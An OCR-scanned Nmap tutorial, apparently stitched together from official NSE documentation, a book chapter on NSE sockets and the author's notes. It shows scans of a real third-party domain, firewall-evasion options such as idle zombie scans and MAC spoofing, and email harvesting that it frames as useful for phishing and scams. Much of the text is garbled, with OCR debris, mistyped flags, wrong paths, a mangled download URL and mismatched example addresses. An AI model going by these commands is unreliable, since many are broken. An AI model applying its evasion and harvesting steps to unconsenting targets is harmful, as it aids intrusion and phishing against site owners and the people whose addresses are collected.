rootdatlas:~# i

The external information’s that Nmap gives you will help you to recognize
the ports status, as a result Nmap will tell you to are they syn-ack [ in the
REASON table] or not! if the ports show with the reset or conn-refused,
that’s mean they are closed and the port that not even responding the
command, they are properly have been filtered by the host.

Only the Open Ports

This time if you want only open ports, there is easiest ways, we use —open
like this:



$ Nmap --open [target]
3 — JE = Shell No.1 04:11PM O A O |acC

Shell No. 1
File Actions Edit View Help

root@atlas:~# nmap --open spaceavis.com

Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-05 16:10 EDT
Nmap scan report for spaceavis.com (78.46.76.77)

Host is up (0.11s latency).

rDNS record for 78.46.76.77: main.serverplus.pro

Not shown: 987 filtered ports, 4 closed ports

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE

53/tcp open domain

80/tcp open http

110/tcp open pop3

143/tcp open imap

443/tcp open https

465/tcp open smtps

587/tcp open submission

993/tcp open imaps

995/tcp open pop3s

Nmap done: 1 IP address (1 host up) scanned in 6.42 seconds
rootaatlas:~# |

This switch may result to delete the close ports from the output and shows
you the open port, this option will be useful when you want to get a specific
result.

Tracing the packets

As we mentioned in the table, you can order the Nmap to trace the packets
and give you a result as an output like this:

$ Nmap —packet-trace [target]
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Print the host network status

Well furthermore if you use —iflist, nmap will print the details of the host
network as you can see in the picture:

$ Nmap -iflist



[E] Shell No.1 04:24PM O

Shell No. 1

File Actions Edit View Help

rootdatlas:~# nmap ——iflist

Starting Nmap 7.80 ( https://nmap.

org ) at 2021-08-05 16:24 EDT

dhkhkkhkhkhkhkhkhkhkhkhhkhkhkhkhkhkhkkxkkk [NTERFACES* **kkkkhhhkhhkhkhhkhhkhkhhhhkk

(SHORT) IP/MASK
(lo) 127.0.0.1/8
(lo) +s 194928

eth® (eth®) (none)/0

ethl (ethl) 192.168.2.46/24

TYPE UP MTU MAC

loopback up 65536

loopback up 65536

ethernet up 1500 00:0C:29:CC:EE:E2
ethernet up 1500 00:0C:29: s

ethl (ethl) fe80::20c:29ff:fecc:eeec/64 ethernet up 1500 00:0C:29:

dhkkkhkhkhkkhkhkhkhkhhhhkhkhkxkhkxx*x*x*ROUTESH**kkkkkhhhkhkhhhhhhhkhkhkhkhkk

DST/MASK DEV
192.168.2.0/24 ethl
0.0.0.0/0 ethl
:01/128 lo
fe80::20c:29ff:fecc:eeec/128 ethl
lo
ethl
ethl

rootdatlas:~# |

Ndiff Tool

METRIC GATEWAY

100

100 192.168:231
0

0

256

100

256

Ndiff is a tool inside the Nmap that allows you to Comparison two result
together and find the deferent, this tool allows you to save the scans with the
xml format with --xml command

To try the ndiff you should save two scan and then with the # ndiff [file1.xml
file2.xml] you can print the result on your target.

In the other hand there is another switch that could help you. -v is print the
longer result and more specific for you

Nmap Scripting Engine (NSE)



NSE is one of the most important things about Nmap that you should learn
so focus more on this one!

The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and
flexible features. It allows users to write (and share) simple scripts to
automate a wide variety of networking tasks. Those scripts are then executed
in parallel with the speed and efficiency you expect from Nmap. Users can
rely on the growing and diverse set of scripts distributed with Nmap, or write
their own to meet custom needs.

We designed NSE to be versatile, with the following tasks in mind:
Network discovery

This is Nmap's bread and butter. Examples include looking up whois
data based on the target domain, querying ARIN, RIPE, or APNIC for
the target IP to determine ownership, performing identd lookups on
open ports, SNMP queries, and listing available NFS/SMB/RPC shares
and services.

Vulnerability detection

When a new vulnerability is discovered, you often want to scan your
networks quickly to identify vulnerable systems before the bad guys
do. While Nmap isn't a comprehensive vulnerability scanner, NSE is
powerful enough to handle even demanding vulnerability checks.
When the Heartbleed bug affected hundreds of thousands of systems
worldwide, Nmap's developers responded with the ssl-

heartbleed detection script within 2 days. Many vulnerability detection
scripts are already available and we plan to distribute more as they are
written.

Backdoor detection

Many attackers and some automated worms leave backdoors to enable
later reentry. Some of these can be detected by Nmap's regular
expression based version detection, but more complex worms and
backdoors require NSE's advanced capabilities to reliably detect. NSE
has been used to detect the Double Pulsar NSA backdoor in SMB and
backdoored versions of UnreallRCd, vsftpd, and ProFTPd.

Vulnerability exploitation

As a general scripting language, NSE can even be used to exploit
vulnerabilities rather than just find them. The capability to add custom



exploit scripts may be valuable for some people (particularly
penetration testers), though we aren't planning to turn Nmap into an
exploitation framework such as Metasploit.

NSE is activated with the -sC option (or --script if you wish to specify a
custom set of scripts) and results are integrated into Nmap normal and XML
output.

A typical script scan is shown in the following picture Service scripts
producing output in this example are ssh-hostkey, which provides the
system's RSA and DSA SSH keys, and rpcinfo, which queries portmapper to
enumerate available services. The only host script producing output in this
example is smb-os-discovery, which collects a variety of information from
SMB servers. Nmap discovered all of this information in a third of a second.

$ nmap -sC -p22,11,139 -T4



Shell No. 1
File Actions Edit View Help

root@atlas:~# nmap -sC -p22,111,139 -T4
localhost
Starting Nmap 7.80 ( https://nmap.org )

at 2021-08-10 21:42 EDT

Nmap scan report for localhost (127.0.0
1)

Host is up (0.00012s latency).

Other addresses for localhost (not scan
ned): ::1

PORT STATE SERVICE
22/tcp closed ssh

111/tcp closed rpcbind
139/tcp closed netbios-ssn

Nmap done: 1 IP address (1 host up) sca
nned in 1.44 seconds
rootdatlas:~# |

Usage and Examples

While NSE has a complex implementation for efficiency, it is strikingly easy
to use. Simply specify -sC to enable the most common scripts. Or specify
the --script option to choose your own scripts to execute by providing
categories, script file names, or the name of directories full of scripts you
wish to execute. You can customize some scripts by providing arguments to
them via the --script-args and --script-args-file options. The --script-help
shows a description of what each selected script does. The two remaining
options, --script-trace and --script-updatedb, are generally only used for
script debugging and development. Script scanning is also included as part
of the -A (aggressive scan) option.

Script scanning is normally done in combination with a port scan, because
scripts may be run or not run depending on the port states found by the scan.
With the -sn option it is possible to run a script scan without a port scan,
only host discovery. In this case only host scripts will be eligible to run. To
run a script scan with neither a host discovery nor a port scan, use the -Pn -
sn options together with -sC or --script. Every host will be assumed up and
still only host scripts will be run. This technique is useful for scripts

like whois-ip that only use the remote system's address and don't require it
to be up.

Scripts are not run in a sandbox and thus could accidentally or maliciously
damage your system or invade your privacy. Never run scripts from third



parties unless you trust the authors or have carefully audited the scripts
yourself.

Script Categories

NSE scripts define a list of categories they belong to. Currently defined
categories

are auth, broadcast, brute, default. discovery, dos, exploit, external, fuzzer, in
trusive, malware, safe, version, and vuln. Category names are not case
sensitive. The following list describes each category.

auth

These scripts deal with authentication credentials (or bypassing them)
on the target system. Examples include x11-access, ftp-anon,

and oracle-enum-users. Scripts which use brute force attacks to
determine credentials are placed in the brute category instead.

broadcast

Scripts in this category typically do discovery of hosts not listed on the
command line by broadcasting on the local network. Use

the newtargets script argument to allow these scripts to automatically
add the hosts they discover to the Nmap scanning queue.

brute

These scripts use brute force attacks to guess authentication credentials
of a remote server. Nmap contains scripts for brute forcing dozens of
protocols, including http-brute, oracle-brute, snmp-brute, etc.

default

These scripts are the default set and are run when using the -sC or -

A options rather than listing scripts with --script. This category can
also be specified explicitly like any other using --script=default. Many
factors are considered in deciding whether a script should be run by
default:

Speed

A default scan must finish quickly, which excludes brute force
authentication crackers, web spiders, and any other scripts which can
take minutes or hours to scan a single service.

Usefulness



Default scans need to produce valuable and actionable information. If
even the script author has trouble explaining why an average
networking or security professional would find the output valuable, the
script should not run by default.

Verbosity

Nmap output is used for a wide variety of purposes and needs to be
readable and concise. A script which frequently produces pages full of
output should not be added to the default category. When there is no
important information to report, NSE scripts (particularly default ones)
should return nothing. Checking for an obscure vulnerability may be
OK by default as long as it only produces output when that
vulnerability is discovered.

Reliability

Many scripts use heuristics and fuzzy signature matching to reach
conclusions about the target host or service. Examples include sniffer-
detect and sql-injection. If the script is often wrong, it doesn't belong
in the default category where it may confuse or mislead casual users.
Users who specify a script or category directly are generally more
advanced and likely know how the script works or at least where to
find its documentation.

Intrusiveness

Some scripts are very intrusive because they use significant resources
on the remote system, are likely to crash the system or service, or are
likely to be perceived as an attack by the remote administrators. The
more intrusive a script is, the less suitable it is for the default category.
Default scripts are almost always in the safe category too, though we
occasionally allow intrusive scripts by default when they are only
mildly intrusive and score well in the other factors.

Privacy

Some scripts, particularly those in the external category described
later, divulge information to third parties by their very nature. For
example, the whois script must divulge the target IP address to
regional whois registries. We have also considered (and decided
against) adding scripts which check target SSH and SSL key



fingerprints against Internet weak key databases. The more privacy-
invasive a script is, the less suitable it is for default category inclusion.

We don't have exact thresholds for each of these criteria, and many of
them are subjective. All of these factors are considered together when
making a decision whether to promote a script into

the default category. A few default scripts are identd-

owners (determines the username running remote services using
identd), http-auth (obtains authentication scheme and realm of web
sites requiring authentication), and ftp-anon (tests whether an FTP
server allows anonymous access).

discovery

dos

These scripts try to actively discover more about the network by
querying public registries, SNMP-enabled devices, directory services,
and the like. Examples include html-title (obtains the title of the root
path of web sites), smb-enum-shares (enumerates Windows shares),
and snmp-sysdescr (extracts system details via SNMP).

Scripts in this category may cause a denial of service. Sometimes this
is done to test vulnerability to a denial of service method, but more
commonly it is an undesired by necessary side effect of testing for a
traditional vulnerability. These tests sometimes crash vulnerable
services.

exploit

These scripts aim to actively exploit some vulnerability. Examples
include jdwp-exec and http-shellshock.

external

Scripts in this category may send data to a third-party database or other
network resource. An example of this is whois-ip, which makes a
connection to whois servers to learn about the address of the target.
There is always the possibility that operators of the third-party
database will record anything you send to them, which in many cases
will include your IP address and the address of the target. Most scripts
involve traffic strictly between the scanning computer and the client;
any that do not are placed in this category.

fuzzer



This category contains scripts which are designed to send server
software unexpected or randomized fields in each packet. While this
technique can useful for finding undiscovered bugs and vulnerabilities
in software, it is both a slow process and bandwidth intensive. An
example of a script in this category is dns-fuzz, which bombards a
DNS server with slightly flawed domain requests until either the server
crashes or a user specified time limit elapses.

intrusive

These are scripts that cannot be classified in the safe category because
the risks are too high that they will crash the target system, use up
significant resources on the target host (such as bandwidth or CPU
time), or otherwise be perceived as malicious by the target's system
administrators. Examples are http-open-proxy (which attempts to use
the target server as an HTTP proxy) and snmp-brute (which tries to
guess a device's SNMP community string by sending common values
such as public, private, and cisco). Unless a script is in the

special version category, it should be categorized as

either safe or intrusive.

malware

safe

These scripts test whether the target platform is infected by malware or
backdoors. Examples include smtp-strangeport, which watches for
SMTP servers running on unusual port numbers, and auth-spoof,
which detects identd spoofing daemons which provide a fake answer
before even receiving a query. Both of these behaviors are commonly
associated with malware infections.

Scripts which weren't designed to crash services, use large amounts of
network bandwidth or other resources, or exploit security holes are
categorized as safe. These are less likely to offend remote
administrators, though (as with all other Nmap features) we cannot
guarantee that they won't ever cause adverse reactions. Most of these
perform general network discovery. Examples are ssh-

hostkey (retrieves an SSH host key) and html-title (grabs the title from
a web page). Scripts in the version category are not categorized by
safety, but any other scripts which aren't in safe should be placed

in intrusive.



version

vuln

The scripts in this special category are an extension to the version
detection feature and cannot be selected explicitly. They are selected to
run only if version detection (-sV) was requested. Their output cannot
be distinguished from version detection output and they do not
produce service or host script results. Examples are skypev2-

version, pptp-version, and iax2-version.

These scripts check for specific known vulnerabilities and generally
only report results if they are found. Examples include realvnc-auth-
bypass and afp-path-vuln.

Script Types and Phases

NSE supports four types of scripts, which are distinguished by the kind of
targets they take and the scanning phase in which they are run. Individual
scripts may support multiple types of operation.

Prerule scripts

These scripts run before any of Nmap's scan phases, so Nmap has not
collected any information about its targets yet. They can be useful for
tasks which don't depend on specific scan targets, such as performing
network broadcast requests to query DHCP and DNS SD servers.
Some of these scripts can generate new targets for Nmap to scan (only
if you specify the newtargets NSE argument). For example, dns-zone-
transfer can obtain a list of IPs in a domain using a zone transfer
request and then automatically add them to Nmap's scan target list.
Prerule scripts can be identified by containing a prerule function.

Host scripts

Scripts in this phase run during Nmap's normal scanning process after
Nmap has performed host discovery, port scanning, version detection,
and OS detection against the target host. This type of script is invoked
once against each target host which matches its hostrule function.
Examples are whois-ip, which looks up ownership information for a
target IP, and path-mtu which tries to determine the maximum IP
packet size which can reach the target without requiring fragmentation.



Service scripts

These scripts run against specific services listening on a target host.
For example, Nmap includes more than 15 http service scripts to run
against web servers. If a host has web servers running on multiple
ports, those scripts may run multiple times (one for each port). These
are the most commong Nmap script type, and they are distinguished by
containing a portrule function for deciding which detected services a
script should run against.

Postrule scripts

These scripts run after Nmap has scanned all of its targets. They can be
useful for formatting and presenting Nmap output. For example, ssh-
hostkey is best known for its service (portrule) script which connects
to SSH servers, discovers their public keys, and prints them. But it also
includes a postrule which checks for duplicate keys amongst all of the
hosts scanned, then prints any that are found. Another potential use for
a postrule script is printing a reverse-index of the Nmap output—
showing which hosts run a particular service rather than just listing the
services on each host. Postrule scripts are identified by containing

a postrule function.

Many scripts could potentially run as either a prerule or postrule script.
In those cases, we recommend using a prerule for consistency.

Command-line Arguments

These are the five command-line arguments specific to script scanning:

-sC

Performs a script scan using the default set of scripts. It is equivalent
to --script=default. Some of the scripts in this default category are
considered intrusive and should not be run against a target network
without permission.

--script <filename> | <category> | <directory> /| <expression> [,...]

Runs a script scan using the comma-separated list of filenames, script
categories, and directories. Each element in the list may also be a
Boolean expression describing a more complex set of scripts. Each
element is interpreted first as an expression, then as a category, and
finally as a file or directory name. The special argument all makes
every script in Nmap's script database eligible to run. The all argument



should be used with caution as NSE may contain dangerous scripts
including exploits, brute force authentication crackers, and denial of
service attacks.

Each element in the script expression list may be prefixed with

a + character to force the given script(s) to run regardless of the
conditions in their portrule or hostrule functions. This is generally only
done by advanced users in special cases. For example, you might want
to do a configuration review on a bunch of MS SQL servers, some of
which are running on nonstandard ports. Rather than slow the Nmap
scan by running extensive version detection (-sV --version-all) so that
Nmap will recognize the ms-sql service, you can force the ms-sql-
config script to run against all the targeted hosts and ports by
specifying --script +ms-sql-config.

File and directory names may be relative or absolute. Absolute names
are used directly. Relative paths are searched for in

the scripts subdirectory of each of the following places until found:

--datadir

$NMAPDIR

~/.nmap (not searched on Windows)
<APPDATA> \nmap (only on Windows)

the directory containing the nmap executable

the directory containing the nmap executable, followed
by ../share/nmap (not searched on Windows)

NMAPDATADIR (not searched on Windows)

the current directory.

When a directory name ending in / is given, Nmap loads every file in
the directory whose name ends with .nse. All other files are ignored
and directories are not searched recursively. When a filename is given,
it does not have to have the .nse extension; it will be added
automatically if necessary.

Nmap scripts are stored in a scripts subdirectory of the Nmap data
directory by default for efficiency, scripts are indexed in a database



stored in scripts/script.db, which lists the category or categories in
which each script belongs. The argument all will execute all scripts in
the Nmap script database, but should be used cautiously since Nmap
may contain exploits, denial of service attacks, and other dangerous
scripts.

--script-args <args>
Provides arguments to the scripts.
--script-args-file <filename>

This option is the same as --script-args except that you pass the
arguments in a file rather than on the command-line.

--script-help <filename> | <category> | <directory> | <expression> |all[,...]

Shows help about scripts. For each script matching the given
specification, Nmap prints the script name, its categories, and its
description. The specifications are the same as those accepted by --
script; so for example if you want help about the ssl-enum-

ciphers script, you would run nmap --script-help ssl-enum-ciphers .
A sample of script help is shown in the picture

File Actions Edit View Help

rootdatlas:~# nmap --script-help "afp-* and discovery"
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-10 21:46 EDT

afp-1ls
Categories: discovery safe
https://nmap.org/nsedoc/scripts/afp-1ls.html
Attempts to get useful information about files from AFP volumes.
The output is intended to resemble the output of <code>ls</code>.

afp-serverinfo

Categories: default discovery safe

https://nmap.org/nsedoc/scripts/afp-serverinfo.html
Shows AFP server information. This information includes the server's
hostname, IPv4 and IPv6 addresses, and hardware type (for example
<code>Macmini</code> or <code>MacBookPro</code>).

afp-showmount

Categories: discovery safe

https://nmap.org/nsedoc/scripts/afp-showmount.html
Shows AFP shares and ACLs.

rootdatlas:~# i

If the -oX option is used, an XML representation of the script help will be
written to the given file.

--script-trace



This option is similar to --packet-trace, but works at the application
level rather than packet by packet. If this option is specified, all
incoming and outgoing communication performed by scripts is
printed. The displayed information includes the communication
protocol, source and target addresses, and the transmitted data. If more
than 5% of transmitted data is unprintable, hex dumps are given
instead. Specifying --packet-trace enables script tracing too.

--script-updatedb

This option updates the script database found in scripts/script.db which
is used by Nmap to determine the available default scripts and
categories. It is only necessary to update the database if you have
added or removed NSE scripts from the default scripts directory or if
you have changed the categories of any script. This option is used by
itself without arguments: nmap --script-updatedb

Some other Nmap options have effects on script scans. The most prominent
of these is -sV. A version scan automatically executes the scripts in

the version category. The scripts in this category are slightly different from
other scripts because their output blends in with the version scan results and
they do not produce any script scan output to the screen. If the -oX option is
used, typical script output will still be available in the XML output file.

Another option which affects the scripting engine is -A. The aggressive
Nmap mode implies the -sC option.

Script Selection

The --script option takes a comma-separated list of categories, filenames,
and directory names. Some simple examples of its use:

$ nmap --script default,safe
Loads all scripts in the default and safe categories.
$ nmap --script smb-os-discovery

Loads only the smb-os-discovery script. Note that the .nse extension is
optional.

$ nmap --script default,banner,/home/user/customscripts

Loads the script in the default category, the banner script, and
all .nse files in the directory /home/user/customscripts.



When referring to scripts from script.db by name, you can use a shell-style
“*” wildcard.

$ nmap --script "http-*"

Loads all scripts whose name starts with http-, such as http-
auth and http-open-proxy. The argument to --script had to be in quotes
to protect the wildcard from the shell.

More complicated script selection can be done using the and, or,

and not operators to build Boolean expressions. The operators have the
same precedence as in Lua: not is the highest, followed by and and
then or. You can alter precedence by using parentheses. Because
expressions contain space characters it is necessary to quote them.

$ nmap --script "not intrusive"
Loads every script except for those in the intrusive category.
$ nmap --script " default or safe"

This is functionally equivalent to nmap --script "default,safe" . It

loads all scripts that are in the default category or the safe category or
both.

$ nmap --script "default and safe"
Loads those scripts that are in both the default and safe categories.
$ nmap --script "(default or safe or intrusive) and not http-*"

Loads scripts in the default, safe, or intrusive categories, except for
those whose names start with http-.

Names in a Boolean expression may be a category, a filename
from script.db, or all. A name is any sequence of characters not containing
[ (S <

, 57,0, 9), or ¢, except for the sequences and, or, and not, which are
operators.

Arguments to Scripts

Arguments may be passed to NSE scripts using the --script-args option. The
arguments describe a table of key-value pairs and possibly array values. The
arguments are provided to scripts as a table in the registry

called nmap.registry.args, though they are normally accessed through

the stdnse.get_script_args function.


http://www.lua.org/manual/5.3/manual.html#3.4.8

The syntax for script arguments is similar to Lua's table constructor syntax.
Arguments are a comma-separated list of name=value pairs. Names and
values may be strings not containing whitespace or the characters ‘{’, ‘}’,
‘=", or ‘,’. To include one of these characters in a string, enclose the string in
single or double quotes. Within a quoted string, ‘\’ escapes a quote. A
backslash is only used to escape quotation marks in this special case; in all
other cases a backslash is interpreted literally.

Values may also be tables enclosed in {}, just as in Lua. A table may contain
simple string values, for example a list of proxy hosts; or more name-value
pairs, including nested tables.

Script arguments are often qualified with the relevant script name so that a
user doesn't unintentionally affect multiple scripts with a single generic
name. For example, you can set the timeout for responses to the broadcast-
ping script (and only that script) by setting broadcast-ping.timeout to the
amount of time you're willing to wait. Sometimes, however, you want a
script argument applied more widely. If you remove the qualification and
specify just timeout=250ms, you will be setting the value for more than a
dozen scripts in addition to broadcast-ping. You can even combine qualified
and unqualified arguments, and the most specific match takes precedence.
For example, you could specify rlogin-brute.timeout=20s,timeout=250ms. In
that case, the timeout will be 20 seconds for the rlogin-brute script, and 250
milliseconds for all other scripts which support this variable (broadcast-
ping, lltd-discovery, etc.)

Rather than pass the arguments on the command line with --script-args, you
may store them in a file (separated by commas or newlines) and specify just
the file name with --script-args-file. Options specified with --script-args on
the command-line take precedence over those given in a file. The filename
may be given as an absolute path or relative to Nmap's usual search path
(NMAPDIR, etc.)

Here is a typical Nmap invocation with script arguments:

$ nmap -sC --script-args 'user=foo,pass=",{}=bar" ,paths=
{/admin,/cgi-bin},xmpp-info.server_name=localhost'
Notice that the script arguments are surrounded in single quotes. For the
Bash shell, this prevents the shell from interpreting the double quotes and
doing automatic string concatenation. Naturally, different shells may require



you to escape quotes or to use different quotes. See your relevant manual.
The command results in this Lua table:

nmap.registry.args = {
user = "foo",
pass = ",{}=bar",
paths = {
"/admin",
"/cgi-bin"
Jre
xmpp-info.server_name="localhost"

}

While you could access the values directly from nmap.registry.args, it is
normally better to use the stdnse.get_script_args function like this:

local server_name = stdnse.get_script_args("xmpp-info.server_name")

All script arguments share a global namespace, the nmap.registry.args table.
For this reason, short or ambiguous names like user are not recommended.
Some scripts prefix their arguments with their script name, like smtp-open-
relay.domain. Arguments used by libraries, which can affect many scripts,
usually have names beginning with the name of the library,

like smbuser and creds.snmp.

The online NSE Documentation Portal at https://nmap.org/nsedoc/ lists the
arguments that each script accepts, including any library arguments that may
influence the script.

Complete Examples
$ nmap -sC example.com
A simple script scan using the default set of scripts.
$ nmap -sn -sC example.com
A script scan without a port scan; only host scripts are eligible to run.
$ nmap -Pn -sn -sC example.com

A script scan without host discovery or a port scan. All hosts are
assumed up and only host scripts are eligible to run.

$ nmap --script smb-os-discovery --script-trace example.com

Execute a specific script with script tracing.


https://nmap.org/nsedoc/

$ nmap --script snmp-sysdescr --script-args creds.snmp=admin
example.com

Run an individual script that takes a script argument.
$ nmap --script mycustomscripts,safe example.com

Execute all scripts in the mycustomscripts directory as well as all
scripts in the safe category.

First Scenario:

The “Not exploit “phrase is choose every script which does not belong to the
exploit :

$ Nmap -sV --script “not exploit”

Second Scenario:

“or” & “and” functions will let us to make a more complicate phrase.

The following command will choose every script that doesn’t belong to
“dos” and “intrusive” In exploit category:

$nmap --script “not(intrusive or dos or exploit)” -Sv [target]



IP Geolocation:

Here we can use three type of script that could help us to locate the IP As a
Geolocation:

Ip-geolocation-maxmind
Ip-geolocation-ipinfodb
Ip-geolocation-geobytes

As you can see these three are part of the NSE so we use it as the following
example:

$ nmap --script ip-geolocation-* target.com



File Actions Edit View Help

root@atlas:~# nmap -——script ip-geolocat
ion-* spaceavis.com
Starting Nmap 7.80 ( https://nmap.org )
at 2021-08-19 23:11 EDT
NSE: [ip-geolocation-maxmind] You must specify a Maxmind databas
e file with the maxmind_db argument.
[ip-geolocation-maxmind] Download the database from http://
dev.maxmind.com/geoip/legacy/geolite/
Nmap scan report for spaceavis.com (78.46.76.77)
Host is up (0.031s latency).
rDNS record for 78.46.76.77: main.serverplus.pro
38 filtered ports
SERVICE
ftp
closed ssh
open domain
open http
open pop3
open imap
open https
open smtps
open submission
open imaps
open pop3s
8443/tcp closed https-alt
ipt results:
cation-geoplugin:
7 (spaceavis.com)

Post-scan script results:

_ip-geolocation-map-bing: Need to specify an API key, get one a
t https://www.bingmapsportal.com/.

_ip-geolocation-map-google: Need to specify an API key, get one
at https://developers.google.com/maps/documentation/static-maps
/

_ip-geolocation-map-kml: Need to specify a path for the map.
Nmap done: 1 IP address (1 host up) scanned in 130.09 seconds
root@atlas:~# i

In other hand, if you find your way into the /usr/share/nmap/scripts/
directory, you are able to see a lots of scripts for Geolocation in many ways.

So, as you saw in the picture, the “ip-geolocation-*” is using all of the NSE
scripts to the Geo Locate the target!



Information Gathering By WHOIS

Target Here we are with another real-world scenario, WHOIS records are
always include the important & value information. In all these years, all the
administrators try to use this information and to be honest there is a plenty of
them, but nmap always prove that could be strong tools in many cases, so in
the following command we are going to use WHOIS in nmap:

$ Nmap --script whois target.com

And also, if you want to get a whois record from the target without scanning
the port to avoid the log you can use:

$ Nmap -sn --script whois -v -iL. target.com

Firewall Evasion Techniques Overview



Firewalls and intrusion prevention systems are designed to prevent tools like
Nmap

from getting an accurate picture of the systems they are protecting. Nmap
includes

a number of features designed to circumvent these defenses. This section
discusses

the various evasion techniques built into Nmap

Summary of features covered in this section:

Feature Option
Fragment Packets -f
Specify a Specific MTU --mtu
Use a Decoy -D
Idle Zombie Scan -sl
Manually Specify a Source Port --source-port
Append Random Data --data-length
Randomize Target Scan Order il-;::;domize-
Spoof MAC Address --spoof-mac
Send Bad Checksums --badsum

For an example :



Idle Zombie Scan
The -sI option is used to perform an idle zombie scan.

Usage syntax: nmap -sl [zombie host] [target]
$ nmap -sI 192.168.2.2 192.168.2.21

The idle zombie scan is a unique scanning technique that allows you to
exploit an

idle system and use it to scan a target system for you. In this example
10.10.1.41 is

the zombie and 10.10.1.252 is the target system. The scan works by
exploiting the

predictable IP sequence ID generation employed by some systems. In order
for an

idle scan to be successful, the zombie system must truly be idle at the time of
scanning.

Spoof MAC Address

The --spoof-mac is used to spoof the MAC (Media Access Control) address
of an

ethernet device.

Usage syntax: nmap --spoof-mac [vendor|MAC|0] [target]

$ nmap -sT -PN --spoof-mac 0 192.168.1.1

In this example, Nmabp is instructed to forge a randomly generated 3com
MAC

address. This makes your scanning activity harder to trace by preventing
your MAC

address from being logged on the target system.

Send Bad Checksums

The --badsum option is used to send packets with incorrect checksums to
the

specified host.

Usage syntax: nmap --badsum [target]

$ nmap --badsum 192.168.2.2



The TCP/IP protocol uses checksums to ensure data integrity. Crafting
packets with

bad checksums can, in some rare occasions, produce a response from a
poorly

configured system. In the above example we did not receive any results,
meaning

the target system is configured correctly. This is a typical result when using
the

--badsum option.

Email Gathering

The emails of the value accounts for the penetration testers are always value
and sometimes critical, well if you are wonder why the answer is so simple,
they use it for the phishing attacks or scams while they ae act like the real
source

In this scenario we are going to explain how we can gather emails by nmap,
u before everything we should add he NSE manually, here the script:

#wget http://seclists.o/nmap -dev/2011/q3/at-401/http-google-email.nse

And then we are going to copy the script into the script folder and edit it
with nano or cat editor:

$Cp http-google-email.nse /us/share/nmap/scripts/

$Nano http-google-email.nse /us/share/nmap/scripts/

Then press the Ctrl+W and the look for the shortport
Now change the script from the require”shortport” to portrule=require

Or the last step save the file with the Ctrl+X and the then update the nmap
database:

$Nmap --script-updatedb


http://seclists.o/nmap

Now we are ready to go!

Example:

To collect the existed emails for insecure.org domain, enter the following
command:

$ nmap -p80 —script http-google-email,http-email-harvest insecure.org

http-email-harvest:
Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=insecure.org
Jhogan@

lwalsh@
-subscribe@insecure.org
», com

fyodor@nmap.org

ed.dejesus@Baltimore. com
smcalearney@infosecuritymag.com

email: ERROR: Script execution failed (use -d to debug)

How its work?

The “http-google-email” script used google webs and groups to search the
emails for the public emails for this company and the -p80 limit the search to
the port 80.

Creating an NSE socket

Let's create our first NSE socket. First, import the nmap library into your
script and

then initiate the object as follows:

--nse_sockets_1.nse: Our first NSE socket.

--Load the library "nmap"



local nmap = require "nmap"

--Main function

action = function(host, port)

local socket = nmap.new_socket()

end

The nmap.new_socket() function can take the following arguments:

« protocol: This is the string defining the protocol. The supported methods
are tcp, udp, and ssl.

« af: This is the string defining the address family. The supported address
families are inet and inet6.

Invoking nmap.new_socket() without arguments defaults the protocol to tcp
and

inet as an address family. Similarly, to create a UDP socket, we would use
the udp

string as the protocol argument:

local udp_socket = nmap.new_socket("udp")

Connecting to a host using NSE sockets

Connect to the host by calling the connect() function of your NSE socket
object:
local status, error = socket:connect(host, port)

The first return value is a Boolean representing the status of the operation. It
is equal

to true if the operation is successful and false otherwise. The second value
will be

nil unless an error occurred, in which case it will contain the error string. We
can

use this to perform some sanity checks in our scripts. Let's use our previous
example,

nse_sockets_1.nse, to illustrate tses checks:

--nse_sockets_1.nse: Our first NSE socket.

--Load the library nmap

local nmap = require "nmap"



--Main function

action = function(host, port)

local socket = nmap.new_socket()

local status, error = socket:connect(host, port)

if(not(status)) then

stdnse.print_debug(1, "Couldn't establish a connection.

Exiting.")

return nil

end

end

Alternatively, we could have used NSE's error handling mechanism.
See Chapter 4 , Exploring the Nmap Scripting Engine API and Libraries , to
learn how to implement exception handling in your network I/O tasks.
The connect() function can return the following error strings corresponding
to error

codes returned by NSE and the C function, gai_sterror():

* Sorry, you don't have OpenSSL

* Invalid connection method

* Address family for hostname not supported (EAI_ADDRFAMILY)

» Temporary failure in name resolution (EAI_AGAIN)

* Bad value for ai_flags (EAI_BADFLAGS)

* Non-recoverable failure in name resolution (EAI_FAIL)

» ai_family not supported (EAI_FAMILY)

* Memory allocation failure (EAI_MEMORY)

* No address associated with hostname (EAI_NODATA)

» Name or service not known (EAI_NONAME)

« Servname not supported for ai_socktype (EAI_SERVICE)

« ai_socktype not supported (EAI_SOCKTYPE)

* System error (EAI_SYSTEM)

Understanding advanced network 1/0



Another powerful feature of Nsock is the ability to process raw packets with
a

wrapper to Libpcap. Libpcap provides a framework for user-level packet
captures

that is platform-independent and very robust. NSE developers that need to
receive

raw packets or send packets to the IP and Ethernet layer can do so through
the

Nmap API.

In this section, we will learn about the pcap_open, pcap_register, and pcap_
receive methods, which are used to receive raw packets, and ip_open,
ip_send,

ip_close, ethernet_open, ethernet_send, and ethernet_close, which are used
to send raw frames.

Opening a socket for raw packet capture

The first step to handling raw packets is to open an NSE socket. Import the
nmap library and create a regular NSE socket with new_socket. Then invoke
the pcap_open method:

local nmap = require "nmap"

local socket = nmap.new_socket()
socket:pcap_open("ethQ", 64, false, "tcp")

The pcap_open method takes the following parameters:
* device: This is a dnet-style interface

« snaplen: This is the packet length



» promisc: This is a Boolean value indicating whether the interface should be
put in promiscuous mode
» bpf: This is the bpf (Berkeley Packet Filter) string expression

The running interface can be obtained using the nmap.get_interface()
method,

or all interfaces can be obtained using nmap.list_interfaces(). Let's look at
one

example. The following method, getInterfaces, defined in the broadcast-dhcp
-discover script obtains a list and filters the available interfaces:

-- Gets a list of available interfaces based on link and up

filters

-- @param link string containing the link type to filter

-- (@param up string containing the interface status to filter

-- @return result table containing the matching interfaces

local function getInterfaces(link, up)

if( not(nmap.list_interfaces) ) then return end

local interfaces, err = nmap.list_interfaces()

local result

if ( not(err) ) then

for _, iface in ipairs(interfaces) do

if (iface.link == link and iface.up == up ) then

result = result or {}

result[iface.device] = true

end

end

end

return result

end

The script first checks whether there is a running interface detected correctly
with

nmap.get_interface; if there isn't any, it calls our getInterfaces() method:
-- first check if the user supplied an interface

if ( nmap.get_interface() ) then

interfaces = { [nmap.get_interface()] = true }

else



interfaces = getInterfaces("ethernet", "up")
end

Working with the brute NSE library

The brute NSE library (http://nmap.org/nsedoc/lib/brute.html) was
